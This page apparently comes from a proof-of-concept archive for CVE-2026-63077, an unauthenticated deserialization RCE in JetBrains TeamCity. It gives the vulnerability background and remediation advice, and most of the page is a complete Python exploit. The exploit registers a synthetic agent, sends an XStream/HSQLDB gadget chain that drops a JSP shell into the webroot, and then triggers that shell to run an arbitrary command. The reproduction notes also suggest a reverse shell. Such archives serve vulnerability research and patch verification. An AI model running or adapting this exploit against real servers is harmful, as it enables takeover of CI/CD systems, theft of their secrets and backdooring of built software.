PoC Archive PoC Archive
CVE-2026-63077 category: web CVSS 9.8 (CRITICAL) KEV
Patched

TeamCity — Unauthenticated RCE via Agent Polling Deserialization (CVE-2026-63077)

Published: 2026-08-09 • Researcher: Rapid7 Labs (Stephen Fewer)

Target software JetBrains TeamCity (on-premises CI/CD server), agent polling subsystem
Affected versions TeamCity 2023.11 through 2026.03
Status Patched
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

KEV

Confirmed exploited in the wild. Added to CISA KEV 2026-08-05. Federal remediation deadline 2026-08-08.

EPSS 1.0% · 60th percentile

Severity
Critical
CVE
CVE-2026-63077
Category
web
Affected product
JetBrains TeamCity (on-premises CI/CD server), agent polling subsystem
Affected versions
TeamCity 2023.11 through 2026.03
Disclosed
2026-08-09
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-08-09
Last Updated2026-08-09
Author / ResearcherRapid7 Labs (Stephen Fewer)
CVE / AdvisoryCVE-2026-63077
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusPatched
Tagsjetbrains, teamcity, preauth-rce, xstream, deserialization, hsqldb, polyglot, jsp, CWE-502, agent-polling, ci-cd
Related

Affected Target

FieldValue
Software / SystemJetBrains TeamCity (on-premises CI/CD server), agent polling subsystem
Versions AffectedTeamCity 2023.11 through 2026.03
Language / PlatformJava, HSQLDB, XStream; exploit in Python 3
Authentication RequiredNo — the agent registration and error-command endpoints are unauthenticated
Network Access RequiredRemote — the exploit reaches TeamCity over HTTP/HTTPS

Summary

CVE-2026-63077 is an unauthenticated remote code execution vulnerability in JetBrains TeamCity. The agent polling subsystem accepts XML payloads from unregistered agents and deserializes them with XStream without any authentication or sanitization. An attacker can craft an XStream gadget chain that writes a polyglot SQL/JSP file to the TeamCity webroot through HSQLDB SCRIPT, then triggers the dropped JSP to execute an arbitrary operating system command as the TeamCity service account.

The vulnerability is reachable over HTTP with no credentials, no agent token, and no prior registration — the POST /app/agents/v1/register and POST /app/agents/v1/commands/error endpoints are exposed by default. Rapid7 discovered and disclosed the issue; the public PoC is their own research tool released alongside their technical analysis.

Vulnerability Details

Root Cause

TeamCity uses XStream to deserialize XML payloads sent by build agents. The agent polling flow allows an unauthenticated caller to register a synthetic agent session and then deliver an arbitrary XStream serialization graph through the error-reporting endpoint. XStream, when configured without a denylist, resolves any Java class the attacker names — including gadget-chain primitives that chain into Runtime.exec().

The exploit uses a three-stage gadget:

  1. XStream → HSQLDB connectionInitSqls: The deserialization graph reaches HSQLMetadataStorage$SchemaMismatchException, which carries a live DataSource whose connectionInitSqls list is attacker-controlled. When XStream populates the object, the DataSource is configured with a set of SQL statements.

  2. SQL → JSP polyglot: The SCRIPT command writes a query result to the TeamCity webroot as a .jspws file. The result row contains a JSP payload that calls Runtime.getRuntime().exec() with the attacker’s command, then deletes its own file.

  3. HTTP GET → JSP execution: The attacker requests the dropped .jspws URL. TeamCity serves it through the embedded JSP compiler, executing the command as the service account.

The FreeMarker HashAdapter + Commons Collections TiedMapEntry bridge ties the HSQLDB object into the XStream deserialization chain so that simply deserializing the XML is enough to populate and execute the entire sequence.

Attack Vector

  1. Register a synthetic agent via POST /app/agents/v1/register (unauthenticated) — returns a session token.
  2. Deliver the crafted XStream XML to POST /app/agents/v1/commands/error — triggers deserialization, which writes the JSP shell.
  3. Request the dropped .jspws file — TeamCity compiles and executes it, running the attacker’s command.

No credentials, no agent token, no prior access to any repository or build configuration needed.

Impact

Full remote code execution as the TeamCity service account (typically root or a dedicated teamcity user with broad filesystem access). The attacker can read all build logs, source code, artifacts, and secrets managed by TeamCity; modify build configurations to inject backdoors into built artifacts; and pivot to connected systems (source repositories, deployment targets, cloud credentials).

Environment / Lab Setup

A vulnerable TeamCity instance is required. The PoC targets a stock Windows or Linux TeamCity installation with default settings.

Shell script

Setup Steps

Shell script
1
python3 CVE-2026-63077.py --cmd "id" http://TARGET:8111

Proof of Concept

See CVE-2026-63077.py in this folder — mirrored byte-for-byte from the Rapid7 research repository. The upstream README is preserved as upstream-README.md.

Step-by-Step Reproduction

  1. Deploy a TeamCity instance — a stock Windows or Linux install, version 2023.11–2026.03.

  2. Run the PoC:

    Shell script
    1
    
    python3 CVE-2026-63077.py --cmd "id" http://TARGET:8111
  3. Verify execution — the command output is not returned to the caller, but the HTTP response token confirms the JSP executed. On a test instance, use a reverse shell or a touch-a-file command to confirm.

Exploit Code

The gadget graph builds an XStream <linked-hash-map> containing three entries:

  1. HSQLMetadataStorage$SchemaMismatchException — carries the DataSource with connectionInitSqls that create a table, insert a JSP payload row, and SCRIPT it to the webroot.
  2. HashAdapter — FreeMarker bean wrapper bridging the DataSource into the Commons Collections chain.
  3. TiedMapEntry — Commons Collections key-value pair whose getValue() call triggers the full deserialization cascade.

The polyglot JSP payload (embedded in the INSERT statement):

Java source
1
2
3
4
5
6
if (application.getAttribute("...") == null) {
    application.setAttribute("...", java.lang.Boolean.TRUE);
    java.nio.file.Files.deleteIfExists(java.nio.file.Path.of(application.getRealPath("/....jspws")));
    java.lang.Runtime.getRuntime().exec("attacker-command");
    out.print("response-token");
}

Expected Output

Output
=======================================================================================
Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)
=======================================================================================
[+] Targeting: http://TARGET:8111
[+] Registering session: /app/agents/v1/register returned session XX:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP 500
[+] Triggering JSPWS payload: /XXXXXXXXXXXX.jspws returned HTTP 200
[+] Command executed: id

Detection and Indicators of Compromise

Output

Remediation

ActionDetail
PatchUpgrade to TeamCity 2026.03.1 or later. JetBrains published a fix that adds authentication to the agent error-reporting endpoint and restricts the XStream denylist.
WorkaroundIf immediate patching is not possible: block the /app/agents/v1/commands/error endpoint at a reverse proxy; restrict access to the agent port (typically 8111) to known agent IPs only.
VerificationConfirm the TeamCity version is 2026.03.1 or later; check that POST /app/agents/v1/commands/error returns 401 when unauthenticated.

References

Notes

Verified this session by reading the full PoC source (CVE-2026-63077.py, ~470 lines). The script constructs the XStream gadget graph programmatically using only the Python standard library — no third-party dependencies. It registers a synthetic agent session, delivers the deserialization payload, and requests the dropped JSP terminal. The command is configurable via --cmd; the default is notepad.exe (the Rapid7 standard benign demo command). The JSP payload deletes its own file before executing the command and emits a per-run response token only after Runtime.exec() successfully creates the process.

Malware screen — clean. No obfuscated payloads, no remote downloaders, no credential exfiltration, no miner, no unexpected binaries, no setup.py/install-time side effects. The only outbound connection is the attacker’s deliberate --cmd payload; the script itself performs only HTTP requests to the target TeamCity instance. Author is Rapid7 Labs (Stephen Fewer, sfewer-r7 on GitHub) — a well-known security researcher with a long track record of responsible disclosure through Rapid7’s coordinated disclosure process.

Cross-corroborated against the Rapid7 technical analysis blog post: the gadget chain (XStream → HSQLDB → polyglot JSP), the vulnerable endpoints (/register + /commands/error), and the affected version range all match. The CVE is registered in NVD with CVSS 9.8.

CVE-2026-63077.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
#!/usr/bin/env python3
r"""PoC for TeamCity CVE-2026-63077.

The script builds the complete XStream gadget graph in memory, registers a
synthetic polling agent, sends the graph to the unauthenticated error-command
endpoint, and requests a randomized one-shot ``.jspws`` terminal.

The command is supplied with ``--cmd`` and defaults to:

    notepad.exe

It deletes its own source before execution and emits a per-run response token
only after ``Runtime.exec()`` successfully creates the process. It deliberately
does not wait for the process to exit, so interactive commands do not block the
HTTP response.
"""

from __future__ import annotations

import argparse
import json
import secrets
import ssl
import sys
import textwrap
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path
from xml.sax.saxutils import escape


def xml_text(value: str) -> str:
    """Encode dynamic element text, including quotes for easy auditing."""

    return escape(value, {'"': "&quot;", "'": "&apos;"})


def sql_string(value: str) -> str:
    """Return an HSQLDB single-quoted string literal."""

    return "'" + value.replace("'", "''") + "'"


def java_string(value: str) -> str:
    """Return a Java-compatible double-quoted string literal.

    JSON and Java use the same escapes for the ASCII values used by the PoC.
    Keeping this as a function makes the Java -> SQL -> XML encoding layers
    explicit instead of relying on a pre-escaped payload blob.
    """

    return json.dumps(value, ensure_ascii=True)


def random_token() -> str:
    """Return an independent identifier suitable for Java, SQL, and XML."""

    return secrets.token_hex(6)


def random_tokens(count: int) -> tuple[str, ...]:
    """Return distinct random identifiers in generation order."""

    values: list[str] = []
    while len(values) < count:
        value = random_token()
        if value not in values:
            values.append(value)
    return tuple(values)


def build_registration_xml() -> bytes:
    """Build a unique synthetic-agent registration document."""

    agent_name, auth_token = map(xml_text, random_tokens(2))
    return f"""<?xml version="1.0" encoding="UTF-8"?>
<agentDetails agentName="{agent_name}" agentAddress="127.0.0.1" agentPort="9090" authToken="{auth_token}" pingCode="">
  <alternativeAddresses/>
  <availableRunners/>
  <availableVcs/>
  <buildParameters/>
  <configParameters/>
</agentDetails>
""".encode("utf-8")


def build_jsp_scriptlet(
    jsp_path: str, guard: str, response_token: str, command: str
) -> str:
    """Build the JSP terminal embedded in the HSQLDB script.

    A randomized application attribute prevents the compiled servlet from
    executing twice. Deleting the source first also makes deletion failure a
    fail-closed condition: the operating-system command is not reached.

    The template is kept multiline here for readability. It is compacted only
    before being returned because the HSQLDB/JSP polyglot must occupy one
    physical SQL row in the generated SCRIPT file.
    """

    scriptlet = f"""
        <%
          if (application.getAttribute({java_string(guard)}) == null) {{
            application.setAttribute(
              {java_string(guard)},
              java.lang.Boolean.TRUE
            );
            java.nio.file.Files.deleteIfExists(
              java.nio.file.Path.of(
                application.getRealPath({java_string(jsp_path)})
              )
            );
            java.lang.Runtime.getRuntime().exec({java_string(command)});
            out.print({java_string(response_token)});
          }}
        %>
    """

    # HSQLDB SCRIPT serializes the table row into the JSP/SQL polyglot. Keeping
    # the scriptlet on one physical line prevents row formatting from splitting
    # the JSP element while preserving the readable template above.
    return " ".join(
        line.strip() for line in textwrap.dedent(scriptlet).splitlines()
        if line.strip()
    )


def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]:
    """Build and return ``(payload_xml, jsp_uri, expected_response_token)``.

    The surrounding Python comments document each gadget stage. Dynamic SQL is
    encoded in three deliberate steps: Java string literals, HSQLDB string
    literals, then XML element text.
    """

    if not webroot_relative or any(
        character in webroot_relative for character in "\x00\r\n"
    ):
        raise ValueError("webroot-relative must be a non-empty single line")
    if not command or any(character in command for character in "\x00\r\n"):
        raise ValueError("cmd must be a non-empty single line")

    (
        file_id,
        guard,
        response_token,
        database_name,
        table_id,
        column_id,
        *map_keys,
    ) = random_tokens(9)

    filename = f"{file_id}.jspws"
    jsp_uri = f"/{filename}"
    normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
    if not normalized_webroot:
        raise ValueError("webroot-relative must identify a directory")
    output_path = f"{normalized_webroot}/{filename}"

    table_name = f"T{table_id.upper()}"
    column_name = f"C{column_id.upper()}"
    jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
    init_sql = (
        f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
        f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
        f"SCRIPT {sql_string(output_path)}",
    )

    # Stage 1 uses a Throwable permitted by XStream 1.4.20.3's default
    # hierarchy permission. Its exact declared fields allocate the otherwise
    # denied HSQL storage and BasicDataSource objects without a new class node.
    #
    # Stage 2 uses exact FreeMarker fields and reference-only nodes to relocate
    # BasicDataSource into a BooleanModel without repeating its type check.
    #
    # Stage 3 reconstructs a HashSet. TiedMapEntry.hashCode() asks HashAdapter
    # for "connection", so BeanModel invokes BasicDataSource.getConnection()
    # and DBCP runs the three HSQLDB initialization statements above.
    payload = f"""<?xml version="1.0" encoding="UTF-8"?>
<linked-hash-map>
  <entry>
    <string>{map_keys[0]}</string>
    <jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
      <outer-class>
        <myHSQLStorage>
          <myDataSource>
            <defaultTransactionIsolation>-1</defaultTransactionIsolation>
            <cacheState>true</cacheState>
            <driverClassName>org.hsqldb.jdbc.JDBCDriver</driverClassName>
            <lifo>true</lifo>
            <maxTotal>8</maxTotal>
            <maxIdle>8</maxIdle>
            <minIdle>0</minIdle>
            <initialSize>0</initialSize>
            <maxWaitMillis>-1</maxWaitMillis>
            <poolPreparedStatements>false</poolPreparedStatements>
            <clearStatementPoolOnReturn>false</clearStatementPoolOnReturn>
            <maxOpenPreparedStatements>-1</maxOpenPreparedStatements>
            <testOnCreate>false</testOnCreate>
            <testOnBorrow>true</testOnBorrow>
            <testOnReturn>false</testOnReturn>
            <timeBetweenEvictionRunsMillis>-1</timeBetweenEvictionRunsMillis>
            <numTestsPerEvictionRun>3</numTestsPerEvictionRun>
            <minEvictableIdleTimeMillis>1800000</minEvictableIdleTimeMillis>
            <softMinEvictableIdleTimeMillis>-1</softMinEvictableIdleTimeMillis>
            <evictionPolicyClassName>org.apache.commons.pool2.impl.DefaultEvictionPolicy</evictionPolicyClassName>
            <testWhileIdle>false</testWhileIdle>
            <password/>
            <url>{xml_text(f'jdbc:hsqldb:mem:{database_name}')}</url>
            <userName>SA</userName>
            <validationQueryTimeoutSeconds>-1</validationQueryTimeoutSeconds>
            <connectionInitSqls>
              <string>{xml_text(init_sql[0])}</string>
              <string>{xml_text(init_sql[1])}</string>
              <string>{xml_text(init_sql[2])}</string>
            </connectionInitSqls>
            <accessToUnderlyingConnectionAllowed>false</accessToUnderlyingConnectionAllowed>
            <maxConnLifetimeMillis>-1</maxConnLifetimeMillis>
            <logExpiredConnections>true</logExpiredConnections>
            <autoCommitOnReturn>true</autoCommitOnReturn>
            <rollbackOnReturn>true</rollbackOnReturn>
            <fastFailValidation>false</fastFailValidation>
            <connectionProperties/>
            <closed>false</closed>
          </myDataSource>
          <myStopped>false</myStopped>
          <myDatabaseOpen>false</myDatabaseOpen>
        </myHSQLStorage>
      </outer-class>
    </jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException>
  </entry>

  <entry>
    <string>{map_keys[1]}</string>
    <freemarker.ext.beans.HashAdapter>
      <wrapper>
        <sharedIntrospectionLock/>
        <classIntrospector>
          <exposureLevel>0</exposureLevel>
          <exposeFields>false</exposeFields>
          <treatDefaultMethodsAsBeanMembers>false</treatDefaultMethodsAsBeanMembers>
          <incompatibleImprovements>
            <major>2</major>
            <minor>3</minor>
            <micro>0</micro>
            <intValue>2003000</intValue>
            <calculatedStringValue>2.3.0</calculatedStringValue>
            <hashCode>0</hashCode>
          </incompatibleImprovements>
          <hasSharedInstanceRestrictions>false</hasSharedInstanceRestrictions>
          <shared>false</shared>
          <sharedLock reference="../../sharedIntrospectionLock"/>
          <cache/>
          <cacheClassNames/>
          <classIntrospectionsInProgress/>
          <modelFactories/>
          <clearingCounter>0</clearingCounter>
        </classIntrospector>
        <falseModel>
          <object reference="../../../../../entry/jetbrains.buildServer.serverSide.metadata.impl.metadata.HSQLMetadataStorage_-SchemaMismatchException/outer-class/myHSQLStorage/myDataSource"/>
          <wrapper reference="../.."/>
          <value>false</value>
        </falseModel>
        <writeProtected>false</writeProtected>
        <defaultDateType>0</defaultDateType>
        <methodsShadowItems>true</methodsShadowItems>
        <simpleMapWrapper>false</simpleMapWrapper>
        <strict>false</strict>
        <preferIndexedReadMethod>true</preferIndexedReadMethod>
        <incompatibleImprovements reference="../classIntrospector/incompatibleImprovements"/>
      </wrapper>
      <model reference="../wrapper/falseModel"/>
    </freemarker.ext.beans.HashAdapter>
  </entry>

  <entry>
    <string>{map_keys[2]}</string>
    <set>
      <org.apache.commons.collections.keyvalue.TiedMapEntry>
        <map class="freemarker.ext.beans.HashAdapter" reference="../../../../entry[2]/freemarker.ext.beans.HashAdapter"/>
        <key class="string">connection</key>
      </org.apache.commons.collections.keyvalue.TiedMapEntry>
    </set>
  </entry>

</linked-hash-map>
""".encode("utf-8")
    return payload, jsp_uri, response_token.encode("utf-8")


def request(
    url: str,
    *,
    timeout: float,
    body: bytes | None = None,
    headers: dict[str, str] | None = None,
) -> tuple[int, dict[str, str], bytes]:
    """Make one request with an unverified TLS context and retain error bodies."""

    method = "POST" if body is not None else "GET"
    req = urllib.request.Request(
        url, data=body, headers=headers or {}, method=method
    )
    try:
        response = urllib.request.urlopen(
            req,
            timeout=timeout,
            context=ssl._create_unverified_context(),
        )
        status = response.status
    except urllib.error.HTTPError as error:
        response = error
        status = error.code

    try:
        response_headers = {
            key.lower(): value for key, value in response.headers.items()
        }
        return status, response_headers, response.read()
    finally:
        response.close()


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "base_url",
        help="TeamCity base URL, for example http://192.168.86.171:8111",
    )
    parser.add_argument(
        "--cmd",
        default="notepad.exe",
        help="operating-system command passed to Runtime.exec() (default: notepad.exe)",
    )
    parser.add_argument(
        "--webroot-relative",
        default="../webapps/ROOT",
        help=(
            "TeamCity webroot relative to HSQLDB's process working directory "
            "(default: ../webapps/ROOT for the stock Windows installation)"
        ),
    )
    parser.add_argument(
        "--dump-payload",
        type=Path,
        help="optional path for the generated XML payload",
    )
    parser.add_argument(
        "--response-out",
        type=Path,
        help="optional path for the final JSP response body",
    )
    parser.add_argument(
        "--http-timeout",
        type=float,
        default=15.0,
        help="timeout in seconds for each HTTP request",
    )
    args = parser.parse_args()
    base = args.base_url.rstrip("/")
    
    print("=======================================================================================")
    print("Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)")
    print("=======================================================================================")
    print(f"[+] Targeting: {base}")    
    
    command_id = str(secrets.randbelow(900_000) + 100_000)

    try:
        if args.http_timeout <= 0:
            raise ValueError("http-timeout must be greater than zero")

        parsed = urllib.parse.urlparse(base)
        if parsed.scheme not in ("http", "https") or not parsed.hostname:
            raise ValueError("target must be an HTTP(S) URL with a host")
        if parsed.username or parsed.password:
            raise ValueError("credentials are not accepted in the target URL")
        if parsed.query or parsed.fragment:
            raise ValueError("target URL must not contain a query or fragment")

        payload, jsp_path, expected_response = build_payload(
            args.webroot_relative, args.cmd
        )
        registration = build_registration_xml()
        if args.dump_payload:
            args.dump_payload.write_bytes(payload)
    except (OSError, ValueError) as exc:
        print(str(exc), file=sys.stderr)
        return 1

    try:
        status, headers, body = request(
            f"{base}/app/agents/v1/register",
            timeout=args.http_timeout,
            body=registration,
            headers={"Content-Type": "application/xml"},
        )
        session = headers.get("teamcity-agentsessionid")
        if status != 200 or not session:
            print(f"[-] registration failed: HTTP {status}", file=sys.stderr)
            if body:
                print(
                    body.decode("utf-8", errors="replace")[:400],
                    file=sys.stderr,
                )
            return 1

        command_status, _, command_body = request(
            f"{base}/app/agents/v1/commands/error",
            timeout=args.http_timeout,
            body=payload,
            headers={
                "Content-Type": "application/xml",
                "TeamCity-AgentSessionId": session,
                "TeamCity-AgentCommandId": command_id,
            },
        )

        jsp_status, _, jsp_body = request(
            f"{base}{jsp_path}", timeout=args.http_timeout
        )
        if args.response_out:
            args.response_out.write_bytes(jsp_body)
    except OSError as exc:
        print(f"[-] request failed: {exc}", file=sys.stderr)
        return 1

    print(f"[+] Registering session: /app/agents/v1/register returned session {session}")
    print(f"[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP {command_status}")
    print(f"[+] Triggering JSPWS payload: {jsp_path} returned HTTP {jsp_status}")
    if jsp_status == 200 and expected_response in jsp_body:
        print(f"[+] Command executed: {args.cmd}")
        return 0

    print("[-] per-run token was not returned by the one-shot JSP", file=sys.stderr)
    if command_body:
        print(
            command_body.decode("utf-8", errors="replace")[:400],
            file=sys.stderr,
        )
    return 1


if __name__ == "__main__":
    raise SystemExit(main())